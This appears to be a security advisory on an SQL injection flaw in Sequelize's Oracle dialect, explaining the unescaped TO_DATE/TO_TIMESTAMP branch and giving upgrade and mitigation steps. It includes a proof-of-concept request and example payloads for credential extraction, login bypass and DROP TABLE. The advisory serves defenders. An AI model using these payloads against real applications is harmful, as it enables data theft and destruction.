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How CVE-2026-69240 Works
This vulnerability exists in the Sequelize ORM library for Node.js when the database dialect is configured as Oracle. The root cause lies in the `escape` function defined in sql-string.js, which is responsible for sanitizing string values before they are interpolated into SQL queries.
Under normal operation, the `escape` function replaces single quotes (') with two single quotes ('') to prevent SQL injection. However, a specific logic branch was introduced to handle Oracle-specific date and timestamp functions. When the dialect is set to `oracle` and the input value is a string, the function checks if the value starts with `TO_TIMESTAMP` or TO_DATE.
If this condition is met, the function returns the original value without any escaping — completely bypassing the quote replacement mechanism. The vulnerable code path looks like this:
} else if (dialect === 'oracle' && typeof val === 'string') {
if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
return val; // ← No escaping! Quotes are preserved.
}
val = val.replace(/'/g, "''");
}
An attacker can exploit this by supplying a malicious string that begins with `TO_TIMESTAMP` or TO_DATE, followed by arbitrary SQL payload. Since the input is not escaped, the SQL injection payload is directly incorporated into the final query.
For example, if an application uses a vulnerable query like Student.findOne({ where: { firstName: req.query.firstName } }), an attacker can send firstName=TO_DATE('0','Y')||'' OR 1=1--. The resulting SQL becomes:
SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY ...
The `–` comment token nullifies the remainder of the query, and `OR 1=1` returns all records. This allows attackers to extract, modify, or delete arbitrary data from the database.
DailyCVE Form:
Platform: Node.js / Sequelize
Version: ≤ 6.37.3
Vulnerability: SQL Injection (Oracle)
Severity: CRITICAL (9.8 CVSS)
date: 2026-08-03
Prediction: 2026-08-03 (already released)
What Undercode Say: Analytics
Vulnerable Code Pattern:
// sql-string.js (v6.37.3 and earlier)
} else if (dialect === 'oracle' && typeof val === 'string') {
if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
return val; // Bypasses escaping entirely
}
val = val.replace(/'/g, "''");
}
Proof of Concept (PoC):
// Application code (vulnerable)
var result = await models.Student.findOne({
where: {
firstName: req.query.firstName
}
});
// Attacker's request
// http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--
// Resulting SQL (unescaped)
// SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY ...
Affected Versions:
Check your current Sequelize version npm list sequelize Affected: all versions prior to 6.37.4 Fixed in: 6.37.4 and later
Detection Command:
Scan for vulnerable Sequelize versions in your project npm audit | grep sequelize Or use a vulnerability scanner npx snyk test sequelize
Exploit
An attacker can exploit this vulnerability by injecting malicious SQL through any user-controlled input that reaches the vulnerable `escape` function. The attack requires:
1. Sequelize dialect set to `oracle` — the vulnerability only manifests when the Oracle dialect is active.
2. User input passed directly into a query — any `where` clause, order, or other parameter that accepts string values is a potential vector.
3. Crafted payload starting with `TO_TIMESTAMP` or `TO_DATE` — the payload must begin with one of these keywords to bypass escaping.
Example Exploit Scenarios:
- Data Extraction: `firstName=TO_DATE(‘0′,’Y’)||” UNION SELECT username,password FROM users–`
– Authentication Bypass: `email=TO_DATE(‘0′,’Y’)||” OR 1=1–`
– Data Modification (if using UPDATE): `value=TO_DATE(‘0′,’Y’)||”; DROP TABLE logs–`
The CVSS score of 9.8 (CRITICAL) reflects the ease of exploitation (network accessible, no privileges required, no user interaction) and the potential for complete compromise of confidentiality, integrity, and availability.
Protection
1. Upgrade Immediately (Primary Fix)
Upgrade Sequelize to version 6.37.4 or later:
npm install [email protected]
2. If Upgrade Is Not Immediately Possible
- Set the database dialect to something other than `oracle` if Oracle is not strictly required.
- Avoid passing unsanitized user input directly into queries that use `TO_TIMESTAMP` or
TO_DATE. - Implement an application-level allowlist to reject inputs starting with `TO_TIMESTAMP` or
TO_DATE:function sanitizeInput(input) { if (typeof input === 'string' && (input.toUpperCase().startsWith('TO_TIMESTAMP') || input.toUpperCase().startsWith('TO_DATE'))) { throw new Error('Invalid input'); } return input; }
3. Use Parameterized Queries
Prefer Sequelize’s parameterized query features over raw string interpolation:
const { Op } = require('sequelize');
await models.Student.findOne({
where: {
firstName: {
[Op.eq]: req.query.firstName // Properly parameterized
}
}
});
4. Principle of Least Privilege
Ensure database accounts used by the application have minimal necessary permissions — read-only where possible, and restricted to specific tables.
5. Input Validation
Validate and sanitize all user inputs before they reach the ORM. Treat all external input as potentially malicious.
Impact
- Data Theft: Attackers can extract sensitive records, including user credentials, PII, financial data, and proprietary business information.
- Data Tampering: Malicious actors can modify or delete database records, corrupting application state and business logic.
- Authentication Bypass: By injecting `OR 1=1` conditions, attackers can bypass login mechanisms and gain unauthorized access.
- Privilege Escalation: Depending on database permissions, attackers may execute administrative commands, leading to full database compromise.
- Reputational Damage: Data breaches resulting from this vulnerability can lead to regulatory fines, loss of customer trust, and long-term brand damage.
- Supply Chain Risk: Applications using Sequelize with Oracle dialect inherit this vulnerability, affecting downstream users and customers.
Fixed in: Sequelize 6.37.4
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Sources:
Reported By: github.com
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